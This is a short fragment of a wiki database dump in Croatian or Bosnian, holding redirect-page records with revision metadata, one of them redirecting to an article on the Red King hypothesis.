text/x-wiki #PREUSMJERI [[Razgovor:Nálepkovo]] 8t8ii7v6qlyouhb9z7rzebbbtdvi9ct 0 4722577 42602717 2026-05-28T11:29:00Z Duma 16555 Preusmjereno na [[Hipoteza o Crvenom kralju]] 42602717 wikitext text/x-wiki #PREUSMJERI [[Hipoteza o Crvenom kralju]] dgl0ywkh7hhrcpwgymvokcilb23zujo